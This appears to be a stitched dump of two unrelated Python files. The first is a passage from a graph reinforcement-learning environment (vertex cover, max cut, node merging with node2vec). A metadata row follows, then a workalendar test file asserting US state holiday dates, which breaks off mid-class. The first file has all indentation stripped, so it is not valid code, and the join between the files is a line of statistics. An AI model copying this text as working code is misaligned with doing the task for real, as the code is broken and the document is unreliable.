self.temp_G = nx.read_edgelist(self.edgelist_file_name)
# one of the input for this game
self.ad_matrix = nx.to_numpy_matrix(self.temp_G)
# the number of nodes in graph
self.num_nodes = len(self.temp_G)
self.nodes_list = list(self.temp_G.nodes)
self.node_selected = np.zeros(shape = (1, self.limit_nodes))
self.node_measured = np.zeros(shape = (1, self.limit_nodes, 1))
self.node_all = np.ones(shape = (1, self.limit_nodes, 1))
self.ad_matrix = np.lib.pad(self.ad_matrix, ((0,self.limit_nodes-self.num_nodes), \
(0,self.limit_nodes-self.num_nodes)), \
'constant', constant_values=(0))
self.ad_matrix = np.reshape(self.ad_matrix, (-1, self.limit_nodes, self.limit_nodes))
self.state = []
self.state.append(self.node_selected)
self.state.append(self.ad_matrix)
self.state.append(self.node_measured)
self.state.append(self.node_all)
# the number of nodes in the current solution
self.s_count = 0
# it is a collection of nodes in the current partial solution
self.partial_solution = []
def update_state(self, action):
if(self.env_type == 'merge_cyclomatic'):
# this game just need basic graph
self.done = self.b_graph.get_new_state_weight(action[1], \
action[2])
self.state = self.graph.b_graph.state
if(self.env_type == 'merge_clustering_cv'):
# this game need both basic and networkx graph
self.done = self.b_graph.fast_get_new_state(action[1], action[2])
first_node = self.b_graph.function_list[action[1]]
second_node = self.b_graph.function_list[action[2]]
temp_GG = nx.contracted_nodes(self.temp_G, first_node, \
second_node)
self.temp_G.clear()
self.temp_G = temp_GG.copy()
self.state = self.graph.b_graph.state
if(self.env_type == 'merge_combine'):
# this game need both basic and networkx graph
self.done = self.b_graph.get_new_state(action[1], action[2])
first_node = self.b_graph.function_list[action[1]]
second_node = self.b_graph.function_list[action[2]]
temp_GG = nx.contracted_nodes(self.temp_G, first_node, \
second_node)
self.temp_G.clear()
self.temp_G = temp_GG.copy()
self.state = self.graph.b_graph.state
if(self.env_type == 'greedy_min_cover'):
# first add to solution's vector
self.state[0][0:self.num_embed_dim] += self.model.wv[\
self.nodes_list[action]]
self.state[0][self.num_embed_dim:self.num_embed_dim*2] = \
self.model.wv[self.nodes_list[action]]
# update the nodes in the current partial solution
self.partial_solution.append(action)
self.s_count += 1
self.done = False
if(self.s_count >= self.num_nodes):
self.done = True
node_name = self.nodes_list[action]
print("selected node is " + str(node_name))
#print(self.edgelist)
# Need to check the number of edges to decide continue or not
for i in range(len(self.edgelist)):
edge = self.edgelist[i]
edge_checked = len(edge)
#print(len(edge))
#print("two nodes are " + str(edge[0]) + " and " + \
# str(edge[1]) + "\n")
if((edge[0] == node_name or edge[1] == node_name) and \
edge_checked == 3):
self.s_edge_count += 1
#print(edge)
self.edgelist[i] += (1,)
if(self.s_edge_count >= self.num_edges):
self.done = True
#print("there are " + str(self.s_edge_count) + " edges now")
#self.reward = self.temp_G.degree[self.nodes_list[action]]
# update the graph
self.temp_G.remove_node(self.nodes_list[action])
# After adding to partial solution, remove it from the
# candiate nodes and update the embedding
# Precompute probabilities and generate walks
# Use temp_folder for big graphs
self.node2vec = Node2Vec(self.temp_G, \
dimensions = self.num_embed_dim, \
walk_length = self.num_walk_length, \
num_walks = self.num_num_walks, \
workers = self.num_workers, p=256, q=0.25, \
quiet=True)
# Embed nodes
self.model = self.node2vec.fit(window=2, min_count=1, \
batch_words=4)
if(self.env_type == 'min_cover_s2v'):
# update the nodes in the current partial solution
self.partial_solution.append(action)
self.s_count += 1
self.done = False
if(self.s_count >= self.num_nodes):
self.done = True
# update the graph
self.temp_G.remove_node(self.nodes_list[action])
node_name = self.nodes_list[action]
# update adjacency matrix
self.ad_matrix[0,:,action] = 0
self.ad_matrix[0,action,:] = 0
self.state[1] = self.ad_matrix
self.node_selected[0][action] = 1
self.node_all[0][action] = 0
self.state[0][0][action] = 1
self.state[2] = np.zeros(shape = (1, self.limit_nodes, 1))
#update the all vector
self.state[3][0][action] = 0
# check the number of edges to decide continue or not
if(self.temp_G.number_of_edges() == 0):
self.done = True
if(self.env_type == 'max_cut_s2v'):
# update the nodes in the current partial solution
self.partial_solution.append(action)
self.s_count += 1
self.done = False
if(self.s_count >= self.num_nodes):
self.done = True
# update the graph
self.temp_G.remove_node(self.nodes_list[action])
node_name = self.nodes_list[action]
# update adjacency matrix
self.ad_matrix[0,:,action] = 0
self.ad_matrix[0,action,:] = 0
self.state[1] = self.ad_matrix
self.state[0][0][action] = 1
self.state[2] = np.zeros(shape = (1, self.limit_nodes, 1))
# check the number of edges to decide continue or not
if(self.temp_G.number_of_edges() == 0):
self.done = True
return self.done
#return False
def get_reward(self):
if(self.env_type == 'merge_cyclomatic'):
# this game just need basic graph
self.reward = self.b_graph.get_complexity_reward()
self.reward *= 10
if(self.env_type == 'merge_clustering_cv'):
self.new_cv = nx.average_clustering(self.temp_G.to_undirected())
self.reward = self.new_cv - self.old_cv
self.reward *= 5
self.old_cv = self.new_cv
if(self.env_type == 'merge_combine'):
self.new_cv = nx.average_clustering(self.temp_G.to_undirected())
self.reward = self.new_cv - self.old_cv
self.reward *= 5
self.old_cv = self.new_cv
temp_reward = self.b_graph.get_complexity_reward()
temp_reward *= 10
self.reward += temp_reward
if(self.env_type == 'greedy_min_cover'):
#TODO: count #edges to decide the reward
#self.reward = -10 * self.s_count
#self.reward = -10 * (self.s_count * self.s_count + self.s_count) / 2
#self.reward = 10 * (self.num_nodes - self.s_count)
self.reward = 0
#self.reward = self.reward
#self.reward -= self.s_count
#self.reward = -10
#print(self.reward)
if(self.done):
#self.reward += 100 # give bonus for done
self.reward -= self.s_count # give penalty for more nodes
if(self.env_type == 'min_cover_s2v'):
#TODO: count #edges to decide the reward
#self.reward = -10 * self.s_count
#self.reward = -10 * (self.s_count * self.s_count + self.s_count) / 2
#self.reward = 10 * (self.num_nodes - self.s_count)
self.reward = 0
#self.reward = self.reward
#self.reward -= self.s_count
#self.reward = -10
#print(self.reward)
return self.reward
def reload(self):
if(self.env_type == 'merge_cyclomatic'):
self.b_graph = Basic_graph(self.file_name, True)
if(self.env_type == 'merge_clustering_cv'):
self.b_graph = Basic_graph(self.file_name, True)
self.temp_G = nx.read_edgelist(self.edgelist_file_name, \
create_using=nx.DiGraph())
self.old_cv = nx.average_clustering(self.temp_G.to_undirected())
if(self.env_type == 'merge_combine'):
self.b_graph = Basic_graph(self.file_name, True)
self.temp_G = nx.read_edgelist(self.edgelist_file_name, \
create_using=nx.DiGraph())
self.old_cv = nx.average_clustering(self.temp_G.to_undirected())
if(self.env_type == 'greedy_min_cover'):
# reload graph
self.temp_G = nx.read_edgelist(self.edgelist_file_name, \
create_using=nx.DiGraph())
#self.temp_G = self.ori_G
# the number of nodes in graph
self.num_nodes = len(self.temp_G)
self.nodes_list = list(self.temp_G.nodes)
# initialize a sigma: used for later agent
# state + candidate node
self.state = np.zeros(shape = (1, self.num_embed_dim*2))
# the number of nodes in the current solution
self.s_count = 0
# the number of edges in the current solution
self.s_edge_count = 0
# the number of edges in the graph:
self.num_edges = self.temp_G.number_of_edges()
self.edgelist = list(self.temp_G.edges)
self.partial_solution = []
for i in range(0, self.num_edges):
self.edgelist[i] += (0,)
self.node2vec = Node2Vec(self.temp_G, \
dimensions = self.num_embed_dim, \
walk_length = self.num_walk_length, \
num_walks = self.num_num_walks, \
workers = self.num_workers, p=256, q=0.25, \
quiet=True)
# Embed nodes
self.model = self.node2vec.fit(window=2, min_count=1, \
batch_words=4)
if(self.env_type == 'min_cover_s2v'):
self.temp_G = nx.read_edgelist(self.edgelist_file_name, )
# one of the input for this game
self.ad_matrix = nx.to_numpy_matrix(self.temp_G)
#self.temp_G = nx.fast_gnp_random_graph(20, 0.6, seed=None, \
#directed=False)
#self.ori_G = self.temp_G
# the number of nodes in graph
self.num_nodes = len(self.temp_G)
self.nodes_list = list(self.temp_G.nodes)
self.node_selected = np.zeros(shape = (1, self.limit_nodes))
self.node_measured = np.zeros(shape = (1, self.limit_nodes, 1))
self.node_all = np.ones(shape = (1, self.limit_nodes, 1))
self.ad_matrix = np.lib.pad(self.ad_matrix, ((0,self.limit_nodes-self.num_nodes), \
(0,self.limit_nodes-self.num_nodes)), \
'constant', constant_values=(0))
self.ad_matrix = np.reshape(self.ad_matrix, (-1, self.limit_nodes, self.limit_nodes))
self.state = []
self.state.append(self.node_selected)
self.state.append(self.ad_matrix)
self.state.append(self.node_measured)
self.state.append(self.node_all)
# the number of nodes in the current solution
self.s_count = 0
# it is a collection of nodes in the current partial solution
self.partial_solution = []
# embed a node
def embed_node(self, node_index):
if(self.env_type == 'min_cover_s2v'):
temp_states = []
temp_states.append(np.zeros(shape = (1, self.limit_nodes)))
temp_states.append(np.zeros(shape = (1, self.limit_nodes, self.limit_nodes)))
temp_states.append(np.zeros(shape = (1, self.limit_nodes, 1)))
temp_states.append(np.ones(shape = (1, self.limit_nodes, 1)))
temp_states[0][0] = copy.deepcopy(self.state[0])
temp_states[1][0] = copy.deepcopy(self.ad_matrix)
temp_states[3][0] = copy.deepcopy(self.state[3])
temp_states[2][0][node_index][0] = 1
return temp_states
else:
embed_vec = np.zeros(shape = (1, self.num_embed_dim*2))
embed_vec[0][0:self.num_embed_dim] = self.state[0][0:self.num_embed_dim]
embed_vec[0][self.num_embed_dim:2*self.num_embed_dim] = self.model.wv[\
self.nodes_list[node_index]]
return embed_vec
# embed multiple nodes
def embed_nodes_multiple(self, nodes_index):
if(self.env_type == 'min_cover_s2v'):
batch_size = len(nodes_index)
#print(num_testing)
node_index = 0
temp_states = []
temp_states.append(np.zeros(shape = (batch_size, self.limit_nodes)))
temp_states.append(np.zeros(shape = (batch_size, self.limit_nodes, self.limit_nodes)))
temp_states.append(np.zeros(shape = (batch_size, self.limit_nodes, 1)))
temp_states.append(np.ones(shape = (batch_size, self.limit_nodes, 1)))
for candidate_node in nodes_index:
temp_states[0][node_index] = copy.deepcopy(self.state[0])
temp_states[1][node_index] = copy.deepcopy(self.ad_matrix)
temp_states[2][node_index][candidate_node][0] = 1
temp_states[3][node_index] = copy.deepcopy(self.state[3])
node_index += 1
return temp_states
else:
embed_vec = np.zeros(shape = (1, self.num_embed_dim*2))
embed_vec[0][0:self.num_embed_dim] = self.state[0][0:self.num_embed_dim]
embed_vec[0][self.num_embed_dim:2*self.num_embed_dim] = self.model.wv[\
self.nodes_list[node_index]]
return embed_vec
| 41.258883 | 98 | 0.515912 | 2,870 | 24,384 | 4.15122 | 0.083275 | 0.034917 | 0.039282 | 0.026188 | 0.853366 | 0.842622 | 0.832802 | 0.797297 | 0.775474 | 0.764059 | 0 | 0.017355 | 0.390338 | 24,384 | 590 | 99 | 41.328814 | 0.784071 | 0.167282 | 0 | 0.77707 | 0 | 0 | 0.024178 | 0 | 0 | 0 | 0 | 0.001695 | 0 | 1 | 0.019108 | false | 0 | 0.019108 | 0 | 0.06051 | 0.009554 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
252cb96647e2aa1043fcfaf2995c1473d0196d35 | 70,602 | py | Python | workalendar/tests/test_usa.py | JanMalte/workalendar | bc58c400461b9160394d2db18cf5a33044e94d65 | [
"MIT"
] | null | null | null | workalendar/tests/test_usa.py | JanMalte/workalendar | bc58c400461b9160394d2db18cf5a33044e94d65 | [
"MIT"
] | null | null | null | workalendar/tests/test_usa.py | JanMalte/workalendar | bc58c400461b9160394d2db18cf5a33044e94d65 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
from datetime import date
from workalendar.tests import GenericCalendarTest
from workalendar.usa import (UnitedStates, Alabama, Florida, Arkansas,
Alaska, Arizona, California, Colorado,
Connecticut, Delaware, Georgia, Indiana,
Illinois, Idaho, Iowa, Kansas, Kentucky,
Louisiana, Maine, Maryland, Massachusetts,
Minnesota, Michigan, Mississippi, Missouri,
Montana, Nebraska, Nevada, NewHampshire,
NewJersey, NewMexico, NewYork, NorthCarolina,
NorthDakota, Ohio, Oklahoma, Oregon, Pennsylvania,
RhodeIsland, SouthCarolina, SouthDakota,
Tennessee, Texas, Utah, Vermont, Virginia,
Washington, WestVirginia, Wisconsin, Wyoming)
class UnitedStatesTest(GenericCalendarTest):
cal_class = UnitedStates
def test_year_2013(self):
holidays = self.cal.holidays_set(2013)
self.assertIn(date(2013, 1, 1), holidays) # new year
self.assertIn(date(2013, 7, 4), holidays) # Nation day
self.assertIn(date(2013, 11, 11), holidays) # Armistice
self.assertIn(date(2013, 12, 25), holidays) # Christmas
# Variable days
self.assertIn(date(2013, 1, 21), holidays) # Martin Luther King
self.assertIn(date(2013, 2, 18), holidays) # Washington's bday
self.assertIn(date(2013, 5, 27), holidays) # Memorial day
self.assertIn(date(2013, 9, 2), holidays) # Labour day
self.assertIn(date(2013, 10, 14), holidays) # Colombus
self.assertIn(date(2013, 11, 28), holidays) # Thanskgiving
def test_presidential_year(self):
self.assertTrue(UnitedStates.is_presidential_year(2012))
self.assertFalse(UnitedStates.is_presidential_year(2013))
self.assertFalse(UnitedStates.is_presidential_year(2014))
self.assertFalse(UnitedStates.is_presidential_year(2015))
self.assertTrue(UnitedStates.is_presidential_year(2016))
def test_inauguration_day(self):
holidays = self.cal.holidays_set(2008)
self.assertNotIn(date(2008, 1, 20), holidays)
holidays = self.cal.holidays_set(2009)
self.assertIn(date(2009, 1, 20), holidays)
# case when inauguration day is a sunday
holidays = self.cal.holidays_set(1985)
self.assertNotIn(date(1985, 1, 20), holidays)
self.assertIn(date(1985, 1, 21), holidays)
class AlabamaTest(GenericCalendarTest):
cal_class = Alabama
def test_year_2014(self):
holidays = self.cal.holidays_set(2014)
self.assertIn(date(2014, 1, 1), holidays)
self.assertIn(date(2014, 1, 20), holidays)
self.assertIn(date(2014, 2, 17), holidays)
self.assertIn(date(2014, 4, 28), holidays)
self.assertIn(date(2014, 5, 26), holidays)
self.assertIn(date(2014, 6, 2), holidays)
self.assertIn(date(2014, 7, 4), holidays)
self.assertIn(date(2014, 9, 1), holidays)
self.assertIn(date(2014, 10, 13), holidays)
self.assertIn(date(2014, 11, 11), holidays)
self.assertIn(date(2014, 11, 27), holidays)
self.assertIn(date(2014, 12, 25), holidays)
def test_year_2015(self):
holidays = self.cal.holidays_set(2015)
self.assertIn(date(2015, 1, 1), holidays)
self.assertIn(date(2015, 1, 19), holidays)
self.assertIn(date(2015, 2, 16), holidays)
self.assertIn(date(2015, 4, 27), holidays)
self.assertIn(date(2015, 5, 25), holidays)
self.assertIn(date(2015, 6, 1), holidays)
self.assertIn(date(2015, 7, 3), holidays)
self.assertIn(date(2015, 9, 7), holidays)
self.assertIn(date(2015, 10, 12), holidays)
self.assertIn(date(2015, 11, 11), holidays)
self.assertIn(date(2015, 11, 26), holidays)
self.assertIn(date(2015, 12, 25), holidays)
def test_year_2010(self):
holidays = self.cal.holidays_set(2010)
self.assertIn(date(2010, 1, 1), holidays)
self.assertIn(date(2010, 1, 18), holidays)
self.assertIn(date(2010, 2, 15), holidays)
self.assertIn(date(2010, 4, 26), holidays)
self.assertIn(date(2010, 5, 31), holidays)
self.assertIn(date(2010, 6, 7), holidays)
self.assertIn(date(2010, 7, 5), holidays)
self.assertIn(date(2010, 9, 6), holidays)
self.assertIn(date(2010, 10, 11), holidays)
self.assertIn(date(2010, 11, 11), holidays)
self.assertIn(date(2010, 11, 25), holidays)
self.assertIn(date(2010, 12, 24), holidays)
self.assertIn(date(2010, 12, 31), holidays)
class AlaskaTest(GenericCalendarTest):
cal_class = Alaska
def test_year_2014(self):
holidays = self.cal.holidays_set(2014)
self.assertIn(date(2014, 1, 1), holidays)
self.assertIn(date(2014, 1, 20), holidays)
self.assertIn(date(2014, 2, 17), holidays)
self.assertIn(date(2014, 3, 31), holidays)
self.assertIn(date(2014, 5, 26), holidays)
self.assertIn(date(2014, 7, 4), holidays)
self.assertIn(date(2014, 9, 1), holidays)
self.assertIn(date(2014, 10, 17), holidays)
self.assertIn(date(2014, 11, 11), holidays)
self.assertIn(date(2014, 11, 27), holidays)
self.assertIn(date(2014, 12, 25), holidays)
def test_year_2015(self):
holidays = self.cal.holidays_set(2015)
self.assertIn(date(2015, 1, 1), holidays)
self.assertIn(date(2015, 1, 19), holidays)
self.assertIn(date(2015, 2, 16), holidays)
self.assertIn(date(2015, 3, 30), holidays)
self.assertIn(date(2015, 5, 25), holidays)
self.assertIn(date(2015, 7, 3), holidays)
self.assertIn(date(2015, 9, 7), holidays)
self.assertIn(date(2015, 10, 19), holidays)
self.assertIn(date(2015, 11, 11), holidays)
self.assertIn(date(2015, 11, 26), holidays)
self.assertIn(date(2015, 12, 25), holidays)
class ArizonaTest(GenericCalendarTest):
cal_class = Arizona
def test_year_2014(self):
holidays = self.cal.holidays_set(2014)
self.assertIn(date(2014, 1, 1), holidays)
self.assertIn(date(2014, 1, 20), holidays)
self.assertIn(date(2014, 2, 17), holidays)
self.assertIn(date(2014, 5, 26), holidays)
self.assertIn(date(2014, 7, 4), holidays)
self.assertIn(date(2014, 9, 1), holidays)
self.assertIn(date(2014, 10, 13), holidays)
self.assertIn(date(2014, 11, 11), holidays)
self.assertIn(date(2014, 11, 27), holidays)
self.assertIn(date(2014, 12, 25), holidays)
def test_year_2015(self):
holidays = self.cal.holidays_set(2015)
self.assertIn(date(2015, 1, 1), holidays)
self.assertIn(date(2015, 1, 19), holidays)
self.assertIn(date(2015, 2, 16), holidays)
self.assertIn(date(2015, 5, 25), holidays)
self.assertIn(date(2015, 7, 3), holidays)
self.assertIn(date(2015, 9, 7), holidays)
self.assertIn(date(2015, 10, 12), holidays)
self.assertIn(date(2015, 11, 11), holidays)
self.assertIn(date(2015, 11, 26), holidays)
self.assertIn(date(2015, 12, 25), holidays)
class ArkansasTest(GenericCalendarTest):
cal_class = Arkansas
def test_year_2014(self):
holidays = self.cal.holidays_set(2014)
self.assertIn(date(2014, 1, 1), holidays)
self.assertIn(date(2014, 1, 20), holidays)
self.assertIn(date(2014, 2, 17), holidays)
self.assertIn(date(2014, 5, 26), holidays)
self.assertIn(date(2014, 7, 4), holidays)
self.assertIn(date(2014, 9, 1), holidays)
self.assertIn(date(2014, 11, 11), holidays)
self.assertIn(date(2014, 11, 27), holidays)
self.assertIn(date(2014, 12, 24), holidays)
self.assertIn(date(2014, 12, 25), holidays)
def test_year_2015(self):
holidays = self.cal.holidays_set(2015)
self.assertIn(date(2015, 1, 1), holidays)
self.assertIn(date(2015, 1, 19), holidays)
self.assertIn(date(2015, 2, 16), holidays)
self.assertIn(date(2015, 5, 25), holidays)
self.assertIn(date(2015, 7, 3), holidays)
self.assertIn(date(2015, 9, 7), holidays)
self.assertIn(date(2015, 11, 11), holidays)
self.assertIn(date(2015, 11, 26), holidays)
self.assertIn(date(2015, 12, 24), holidays)
self.assertIn(date(2015, 12, 25), holidays)
def test_christmas_2016(self):
holidays = self.cal.holidays_set(2016)
self.assertIn(date(2016, 12, 23), holidays)
self.assertIn(date(2016, 12, 26), holidays)
def test_christmas_2010(self):
holidays = self.cal.holidays_set(2010)
self.assertIn(date(2010, 12, 23), holidays)
self.assertIn(date(2010, 12, 24), holidays)
class CaliforniaTest(GenericCalendarTest):
cal_class = California
def test_year_2014(self):
holidays = self.cal.holidays_set(2014)
self.assertIn(date(2014, 1, 1), holidays)
self.assertIn(date(2014, 1, 20), holidays)
self.assertIn(date(2014, 2, 17), holidays)
self.assertIn(date(2014, 3, 31), holidays)
self.assertIn(date(2014, 5, 26), holidays)
self.assertIn(date(2014, 7, 4), holidays)
self.assertIn(date(2014, 9, 1), holidays)
self.assertIn(date(2014, 11, 11), holidays)
self.assertIn(date(2014, 11, 27), holidays)
self.assertIn(date(2014, 11, 28), holidays)
self.assertIn(date(2014, 12, 25), holidays)
def test_year_2015(self):
holidays = self.cal.holidays_set(2015)
self.assertIn(date(2015, 1, 1), holidays)
self.assertIn(date(2015, 1, 19), holidays)
self.assertIn(date(2015, 2, 16), holidays)
self.assertIn(date(2015, 3, 31), holidays)
self.assertIn(date(2015, 5, 25), holidays)
self.assertIn(date(2015, 7, 3), holidays)
self.assertIn(date(2015, 9, 7), holidays)
self.assertIn(date(2015, 10, 12), holidays)
self.assertIn(date(2015, 11, 11), holidays)
self.assertIn(date(2015, 11, 26), holidays)
self.assertIn(date(2015, 11, 27), holidays)
self.assertIn(date(2015, 12, 25), holidays)
class ColoradoTest(GenericCalendarTest):
cal_class = Colorado
def test_year_2014(self):
holidays = self.cal.holidays_set(2014)
self.assertIn(date(2014, 1, 1), holidays)
self.assertIn(date(2014, 1, 20), holidays)
self.assertIn(date(2014, 2, 17), holidays)
self.assertIn(date(2014, 3, 31), holidays)
self.assertIn(date(2014, 5, 26), holidays)
self.assertIn(date(2014, 7, 4), holidays)
self.assertIn(date(2014, 9, 1), holidays)
self.assertIn(date(2014, 11, 11), holidays)
self.assertIn(date(2014, 11, 27), holidays)
self.assertIn(date(2014, 12, 25), holidays)
def test_year_2015(self):
holidays = self.cal.holidays_set(2015)
self.assertIn(date(2015, 1, 1), holidays)
self.assertIn(date(2015, 1, 19), holidays)
self.assertIn(date(2015, 2, 16), holidays)
self.assertIn(date(2015, 3, 31), holidays)
self.assertIn(date(2015, 5, 25), holidays)
self.assertIn(date(2015, 7, 3), holidays)
self.assertIn(date(2015, 9, 7), holidays)
self.assertIn(date(2015, 10, 12), holidays)
self.assertIn(date(2015, 11, 11), holidays)
self.assertIn(date(2015, 11, 26), holidays)
self.assertIn(date(2015, 12, 25), holidays)
class ConnecticutTest(GenericCalendarTest):
cal_class = Connecticut
def test_year_2014(self):
holidays = self.cal.holidays_set(2014)
self.assertIn(date(2014, 1, 1), holidays)
self.assertIn(date(2014, 1, 20), holidays)
self.assertIn(date(2014, 2, 12), holidays)
self.assertIn(date(2014, 2, 17), holidays)
self.assertIn(date(2014, 4, 18), holidays)
self.assertIn(date(2014, 5, 26), holidays)
self.assertIn(date(2014, 7, 4), holidays)
self.assertIn(date(2014, 9, 1), holidays)
self.assertIn(date(2014, 10, 13), holidays)
self.assertIn(date(2014, 11, 11), holidays)
self.assertIn(date(2014, 11, 27), holidays)
self.assertIn(date(2014, 12, 25), holidays)
def test_year_2015(self):
holidays = self.cal.holidays_set(2015)
self.assertIn(date(2015, 1, 1), holidays)
self.assertIn(date(2015, 1, 19), holidays)
self.assertIn(date(2015, 2, 12), holidays)
self.assertIn(date(2015, 2, 16), holidays)
self.assertIn(date(2015, 4, 3), holidays)
self.assertIn(date(2015, 5, 25), holidays)
self.assertIn(date(2015, 7, 3), holidays)
self.assertIn(date(2015, 9, 7), holidays)
self.assertIn(date(2015, 10, 12), holidays)
self.assertIn(date(2015, 11, 11), holidays)
self.assertIn(date(2015, 11, 26), holidays)
self.assertIn(date(2015, 12, 25), holidays)
class DelawareTest(GenericCalendarTest):
cal_class = Delaware
def test_year_2014(self):
holidays = self.cal.holidays_set(2014)
self.assertIn(date(2014, 1, 1), holidays)
self.assertIn(date(2014, 1, 20), holidays)
self.assertIn(date(2014, 4, 18), holidays)
self.assertIn(date(2014, 5, 26), holidays)
self.assertIn(date(2014, 7, 4), holidays)
self.assertIn(date(2014, 9, 1), holidays)
self.assertIn(date(2014, 11, 11), holidays)
self.assertIn(date(2014, 11, 27), holidays)
self.assertIn(date(2014, 11, 28), holidays)
self.assertIn(date(2014, 12, 25), holidays)
def test_year_2015(self):
holidays = self.cal.holidays_set(2015)
self.assertIn(date(2015, 1, 1), holidays)
self.assertIn(date(2015, 1, 19), holidays)
self.assertIn(date(2015, 4, 3), holidays)
self.assertIn(date(2015, 5, 25), holidays)
self.assertIn(date(2015, 7, 3), holidays)
self.assertIn(date(2015, 9, 7), holidays)
self.assertIn(date(2015, 11, 11), holidays)
self.assertIn(date(2015, 11, 26), holidays)
self.assertIn(date(2015, 11, 27), holidays)
self.assertIn(date(2015, 12, 25), holidays)
class FloridaTest(GenericCalendarTest):
cal_class = Florida
def test_year_2014(self):
holidays = self.cal.holidays_set(2014)
self.assertIn(date(2014, 1, 1), holidays)
self.assertIn(date(2014, 1, 20), holidays)
self.assertIn(date(2014, 5, 26), holidays)
self.assertIn(date(2014, 7, 4), holidays)
self.assertIn(date(2014, 9, 1), holidays)
self.assertIn(date(2014, 11, 11), holidays)
self.assertIn(date(2014, 11, 27), holidays)
self.assertIn(date(2014, 11, 28), holidays)
self.assertIn(date(2014, 12, 25), holidays)
def test_year_2015(self):
holidays = self.cal.holidays_set(2015)
self.assertIn(date(2015, 1, 1), holidays)
self.assertIn(date(2015, 1, 19), holidays)
self.assertIn(date(2015, 5, 25), holidays)
self.assertIn(date(2015, 7, 3), holidays)
self.assertIn(date(2015, 9, 7), holidays)
self.assertIn(date(2015, 11, 11), holidays)
self.assertIn(date(2015, 11, 26), holidays)
self.assertIn(date(2015, 11, 27), holidays)
self.assertIn(date(2015, 12, 25), holidays)
class GeorgiaTest(GenericCalendarTest):
cal_class = Georgia
def test_year_2014(self):
holidays = self.cal.holidays_set(2014)
self.assertIn(date(2014, 1, 1), holidays)
self.assertIn(date(2014, 1, 20), holidays)
self.assertIn(date(2014, 4, 28), holidays)
self.assertIn(date(2014, 5, 26), holidays)
self.assertIn(date(2014, 7, 4), holidays)
self.assertIn(date(2014, 9, 1), holidays)
self.assertIn(date(2014, 10, 13), holidays)
self.assertIn(date(2014, 11, 11), holidays)
self.assertIn(date(2014, 11, 27), holidays)
self.assertIn(date(2014, 11, 28), holidays)
self.assertIn(date(2014, 12, 25), holidays)
self.assertIn(date(2014, 12, 26), holidays)
def test_year_2015(self):
holidays = self.cal.holidays_set(2015)
self.assertIn(date(2015, 1, 1), holidays)
self.assertIn(date(2015, 1, 19), holidays)
self.assertIn(date(2015, 4, 27), holidays)
self.assertIn(date(2015, 5, 25), holidays)
self.assertIn(date(2015, 7, 3), holidays)
self.assertIn(date(2015, 9, 7), holidays)
self.assertIn(date(2015, 10, 12), holidays)
self.assertIn(date(2015, 11, 11), holidays)
self.assertIn(date(2015, 11, 26), holidays)
self.assertIn(date(2015, 11, 27), holidays)
self.assertIn(date(2015, 12, 25), holidays)
self.assertIn(date(2015, 12, 24), holidays)
class HawaiiTest(GenericCalendarTest):
pass
class IdahoTest(GenericCalendarTest):
cal_class = Idaho
def test_year_2014(self):
holidays = self.cal.holidays_set(2014)
self.assertIn(date(2014, 1, 1), holidays)
self.assertIn(date(2014, 1, 20), holidays)
self.assertIn(date(2014, 2, 17), holidays)
self.assertIn(date(2014, 5, 26), holidays)
self.assertIn(date(2014, 7, 4), holidays)
self.assertIn(date(2014, 9, 1), holidays)
self.assertIn(date(2014, 10, 13), holidays)
self.assertIn(date(2014, 11, 11), holidays)
self.assertIn(date(2014, 11, 27), holidays)
self.assertIn(date(2014, 12, 25), holidays)
def test_year_2015(self):
holidays = self.cal.holidays_set(2015)
self.assertIn(date(2015, 1, 1), holidays)
self.assertIn(date(2015, 1, 19), holidays)
self.assertIn(date(2015, 2, 16), holidays)
self.assertIn(date(2015, 5, 25), holidays)
self.assertIn(date(2015, 7, 3), holidays)
self.assertIn(date(2015, 9, 7), holidays)
self.assertIn(date(2015, 10, 12), holidays)
self.assertIn(date(2015, 11, 11), holidays)
self.assertIn(date(2015, 11, 26), holidays)
self.assertIn(date(2015, 12, 25), holidays)
class IllinoisTest(GenericCalendarTest):
cal_class = Illinois
def test_year_2014(self):
holidays = self.cal.holidays_set(2014)
self.assertIn(date(2014, 1, 1), holidays)
self.assertIn(date(2014, 1, 20), holidays)
self.assertIn(date(2014, 2, 12), holidays)
self.assertIn(date(2014, 2, 17), holidays)
self.assertIn(date(2014, 5, 26), holidays)
self.assertIn(date(2014, 7, 4), holidays)
self.assertIn(date(2014, 9, 1), holidays)
self.assertIn(date(2014, 10, 13), holidays)
self.assertIn(date(2014, 11, 11), holidays)
self.assertIn(date(2014, 11, 27), holidays)
self.assertIn(date(2014, 11, 28), holidays)
self.assertIn(date(2014, 12, 25), holidays)
def test_year_2015(self):
holidays = self.cal.holidays_set(2015)
self.assertIn(date(2015, 1, 1), holidays)
self.assertIn(date(2015, 1, 19), holidays)
self.assertIn(date(2015, 2, 12), holidays)
self.assertIn(date(2015, 2, 16), holidays)
self.assertIn(date(2015, 5, 25), holidays)
self.assertIn(date(2015, 7, 3), holidays)
self.assertIn(date(2015, 9, 7), holidays)
self.assertIn(date(2015, 10, 12), holidays)
self.assertIn(date(2015, 11, 11), holidays)
self.assertIn(date(2015, 11, 26), holidays)
self.assertIn(date(2015, 11, 27), holidays)
self.assertIn(date(2015, 12, 25), holidays)
class IndianaTest(GenericCalendarTest):
cal_class = Indiana
def test_year_2014(self):
holidays = self.cal.holidays_set(2014)
self.assertIn(date(2014, 1, 1), holidays)
self.assertIn(date(2014, 1, 20), holidays)
self.assertIn(date(2014, 4, 18), holidays)
self.assertIn(date(2014, 5, 26), holidays)
self.assertIn(date(2014, 7, 4), holidays)
self.assertIn(date(2014, 9, 1), holidays)
self.assertIn(date(2014, 10, 13), holidays)
self.assertIn(date(2014, 11, 11), holidays)
self.assertIn(date(2014, 11, 27), holidays)
self.assertIn(date(2014, 11, 28), holidays)
self.assertIn(date(2014, 12, 25), holidays)
self.assertIn(date(2014, 12, 26), holidays)
def test_year_2015(self):
holidays = self.cal.holidays_set(2015)
self.assertIn(date(2015, 1, 1), holidays)
self.assertIn(date(2015, 1, 19), holidays)
self.assertIn(date(2015, 4, 3), holidays)
self.assertIn(date(2015, 5, 25), holidays)
self.assertIn(date(2015, 7, 3), holidays)
self.assertIn(date(2015, 9, 7), holidays)
self.assertIn(date(2015, 10, 12), holidays)
self.assertIn(date(2015, 11, 11), holidays)
self.assertIn(date(2015, 11, 26), holidays)
